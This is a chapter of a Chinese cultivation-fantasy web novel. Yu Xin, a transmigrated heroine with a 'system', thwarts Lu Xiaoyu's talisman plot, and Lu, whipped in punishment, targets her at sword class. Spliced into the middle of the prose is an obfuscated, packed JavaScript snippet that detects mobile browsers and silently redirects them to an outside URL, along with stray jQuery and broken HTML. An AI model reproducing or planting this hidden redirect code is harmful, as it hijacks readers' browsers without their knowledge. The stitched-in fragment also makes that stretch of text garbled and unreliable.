陆萧煜从来没有理解过渡琢,无关紧要的人遍地都是,没就没了,死就死了,明明是一峰之长,却要亲自寻一个平庸之辈。除他之外的任何长老都不会轻易被‘骗’出去。
他冷眼看着渡琢离开了宗门,当然也知道贺晓光还未离开,但他也知道,不论贺晓光想做什么,都会尽快跟上渡琢的步伐。
他不再浪费时间,回到了渡琢屋内。
月至高空,烛火倏忽熄灭,几缕青烟散开,游走在房中。
陆萧煜捻起心魔符,口中念念有词。
黑色的阴风将门窗吹得尽数合拢,尖利嘶吼在密闭的空间内不绝于耳,指尖的符箓随着咒语吐出而燃烧起来,那火毫无温度,却叫冷意不断蔓延至四肢百骸。
他略一抬眼,就见那些腌臜东西攀附在梁上,如水一般融入其中,消失不见。
指尖符箓燃烧殆尽,陆萧煜也趋于虚脱,可他精神亢奋至极,因为他知道无上仙途离他又近了一步。
“这样一来,就万无一失了吧?”
陆萧煜突兀地笑了声。
他后腿两步,转身开了门,但左脚还未迈到实处便悬在半空,犹如凝固了的石像一般。
因为他看见——
离他三步之遥的地方站着一个男人,他身姿挺拔,月华色衣袍被风吹的猎猎作响,他银发也随着风落在肩上,胸前,顺道遮住了他的眉眼。
没了那双温润蓝眸作配,渡琢的周身似乎散发着肃杀的气场。
极致的大起大落导致陆萧煜的笑脸凝滞住,却又不可避免地爬上惊愕,所以他的脸看起来十分狰狞。
他一句话也说不出来,甚至有瞬间的恍惚,是错觉吗?渡琢为什么会在这里?!他明明在自己眼皮底下出了宗门!
可无论他内心再如何不平静,渡琢还是朝他走近了,每踏一步,都似乎像是重锤击向心脏。
最终,渡琢站在他身前,眸中带着星星点点的怜悯。
一声极低的叹息传入耳中,他垂下白睫,道:“萧煜,你千不该,万不该,以弟子的性命作引。”
“你该罚。”
陆萧煜浑身发寒。
……
“你该休息了。”虞歆无奈地说。
自高皓搞清楚状况后便用亮晶晶的眼神看她,还攥紧了她的衣袖,就连贺晓光背着他回屋,和他说话都无法转移他半分注意力。
“我知道了。”高皓松了松手,他看着衣袖缓缓平整,低声说:“我有一种直觉,如果没有你,我可能没办法全须全尾地回来。”
高皓似乎觉得自己的臆想有些无厘头,被褥下的手捻了捻香囊,他笑了一下转移话题。
“你喜欢画符吗?”
“你以后有什么不会的,都可以问我。”
“我……我的桌子底下还有很多符,你想要哪一张,哪一种呀?”
“要不然都给你,当做谢礼,我可以再画。”
虞歆淡笑不语,而一旁一直在观察高皓状态的贺晓光听不下去了。
既然精神头没什么问题,那可以问正事了。
贺晓光问:“你说被人窥探是从什么时候开始的?什么地点?什么……”
虞歆妥帖地起身关门,离开。
她远远地眺望着清静峰。
她知道,渡琢不会把这件事公之于众,今晚过后,霄青宗的人不会知道今晚发生了什么,包括贺晓光。
而之所以选择隐瞒,也许是因为渡琢认为恶狼还可以被驯成良犬,也许是因为极其厌恶魔修的贺晓光知道后会对陆萧煜大打出手,又或者是因为弟子完好无损,没必要上报掌门,而即便上报,和陆萧煜同出一族的掌门也会选择隐瞒。
所以,没必要。
但这是渡琢的想法,而对于她虞歆来说,目的早就达成了。因为陆萧煜的好计被破坏了。
【滴——】
【恭喜宿主虐渣值+15,现进度为16/100】
这播报声很早就响起了,然后001没再开口。
虞歆缓步走回屋的时候,突然生出了逗人的心思,“在现实世界,员工完成任务之后我都会用红包来奖励他们,希望他们再接再励,而眼下作为命运共同体的我们,我的阶段性胜利理应值得一句夸赞,你就不怕,我得不到正向反馈而消极怠工?”
001愣了一下,认真思考了一会,的确,适时的赞美确实有鼓励人心的作用。
控制室里,001褪去白手套,指节分明的手将大屏幕分出一个小屏,搜索着适用虞歆的励志话语。
另一边,寒池旁。
陆萧煜不知道遭受了多少道鞭刑。
他的衣袍已经残破,那血肉模糊的背上已经看不到一块好肉。长着小刺的鞭子再一次甩下,再次扬起时,小刺上拉出一条条血丝。
疼痛让他面色苍白,两条剑眉死死皱起。
当每一道鞭子落下,他都会再一次反思自己的计划,问自己,他究竟怎么会落到这种局面?
从渡琢口中得知,他的计划被破坏居然来自一个人对高皓突如其来的善意,开玩笑一般的行为破坏了他快一年的谋算!
这让他怎么能甘心!!
到了鞭刑后期,深入骨髓的痛感让陆萧煜恨恨地咬牙,他要把怒火发泄在虞歆身上,他要她知道,扰乱了他的计划,害他至此,是要付出极大的代价的。
……
虞歆睡了个安稳觉,起了个大早,将屋子简单收拾了一遍后便准备着今日要去上课的物品。
——一把木制的长剑。
她抱着剑出去了,今日她要上剑术课,只可惜新弟子都只能用木剑。
没走两步,就有一个身影朝着自己走了过来。
虞歆步频不变,而贺晓光走快了几步,他手里还攥着一个乾坤袋。
贺晓光和虞歆并肩走着,他侧头看着她说:“师尊说,你昨晚是功臣,喏,这是给你的奖励。”
虞歆先做了个受宠若惊的表情才接了过来,看着里头堆成山的灵石和高阶兵器,勾了勾唇。
她很满意。
虞歆低头看乾坤袋时,洁白的脖颈漏了出来,贺晓光的视线不知何时移到了那处。
看起来很脆弱,一手便能握住大半,要是像高皓那样……
贺晓光想起高皓的事,不可避免地有些挫败,因为他什么也没查出来。
但事情已经发生过了,他只能提醒虞歆,“既然有人敢堂而皇之地对弟子下手,你平日里也注意些,万一和人起争执了可以找我,好歹你也是我带上宗门的人,不可能任人欺凌。”
他贺晓光在宗门里的名头不说很大,但也响亮。
刚入宗那会不少人以为他好欺负,结果反被他打得鼻青脸肿,剑都握不住,要不是被渡琢阻止了,那些拿他家人开玩笑的人,非被他割了舌头不可。
虞歆将小金库妥帖收好,回以贺晓光一个乖巧的微笑。
剑术课是唯一一门亲传弟子与普通弟子一块上的课程,因此受到了许多弟子的热爱,即便不好好学,也能瞧瞧师兄师姐们的英姿。
季笙歌也属于其中一个,她刚入练剑场时,弟子们就迎了上去。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393314|200343||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
要知道霄青宗有三大才子,陆萧煜,贺晓光,剩下一个就是她季笙歌了。
她美貌出众,才华横溢,温柔备至,出生世家也完全没有架子,外出遇到深陷魔修迫害的城镇,还会自掏腰包为百姓施粥,堪称完美二字的典范。
而此时被弟子们亲切问候的季笙歌却有几分心不在焉,无心应对。
她视线没有离开入口处,似在寻找着什么,直到一个抱着木剑的女子走了进来,季笙歌才收回了目光。
原来昨日让陆萧煜帮忙的小师妹是这等模样?不过如此。
季笙歌收回目光扬起标志性的笑,亲切的回复着边上的人,做好了一个贴心师姐的模样。
也就在这时,陆萧煜脸色不好地走了进来。
季笙歌见到他,忽略了他面上的疲惫,像是有点急着想要证明什么似的,直接迎了上去。
“萧煜,今日怎么来得有些晚?我都等你许久了。你的剑我已经帮你备好了,这次我们可事先说好,比试时,要给我留几分颜面。”季笙歌挽上他的手,声音放得极柔,听得离得近的女弟子们心间一软。
陆萧煜找寻的视线骤然被打断,有些不耐,停住脚步刚要甩开人时,季笙歌也往前迈了一步。
这样一来,陆萧煜的手臂被往前一扯,牵扯到背上刚上了药的伤口,他的表情瞬间扭曲。
“离我远点!”陆萧煜脸色沉沉,不耐烦地甩开她。
季笙歌的手臂垂了下来,整个人僵在原处。
他声音不大不小,但离得近的人都听到了,弟子吵吵嚷嚷的嬉笑声停了大半。
陆萧煜不管别人怎么想,眼下只想找到那个坏他好事的人。
没了季笙歌的打扰,他很快就看见了人。
那女子和他挨了一晚上的打不同,她似乎睡了一个安稳觉,双颊透着红,两片唇也是嫣红的,正抱着把木剑,微微仰头专注看着贺晓光。
他们有说有笑地聚在一起,倒显得他这个贺晓光的正牌师弟像个外来人。
剑术长老手持木棍姗姗来迟,弟子们配合地安静了下来。
剑术课除了能见到弟子们心心念念的师兄师姐们之外,还有一个特点就是,长老花样极多,并不会让弟子们感到枯燥。
就比如现在,剑术长老说:“今日,我将挑选一名弟子上台与我比试,若是能堪堪击中我的脖颈就算你赢,这一来是为了检验近几日的成效,二来也给新弟子打个样,谁主动前来?”
弟子们不动声色地后退一步。
开玩笑呢,谁都知道,这老头有趣归有趣,比试台上那是真下狠手的,就他那根看起来随手捡的棍子,打一下就要疼上三天。
陆萧煜不动声色地剜了虞歆一眼,他现如今已经恢复到昔日不徇私情的陆师兄。
他淡淡道:“不如就让新来的小师妹上台。亲自领教长的本领才能让小师妹尽快掌握剑术精髓,何况小师妹在林府曾迂回于两名魔修之内,最终存活,想必一定有过人的本领躲避。”
剑术长老听了点了点头,是个好办法。
他看向虞歆,问:“你意下如何?”
弟子们看虞歆的表情都染上了同情的意味。
“她完蛋了,看起来细皮嫩肉的,打一下就青一块。”
“谁能告诉我,陆师兄这算是为她着想吗?”
“应该是吧,陆师兄什么时候为了弟子说这么多话了?”
“看起来柔柔弱弱的,上场之后木剑估计一下就被打掉,到时候到处跑,可滑稽了。”
“有好戏看喽……”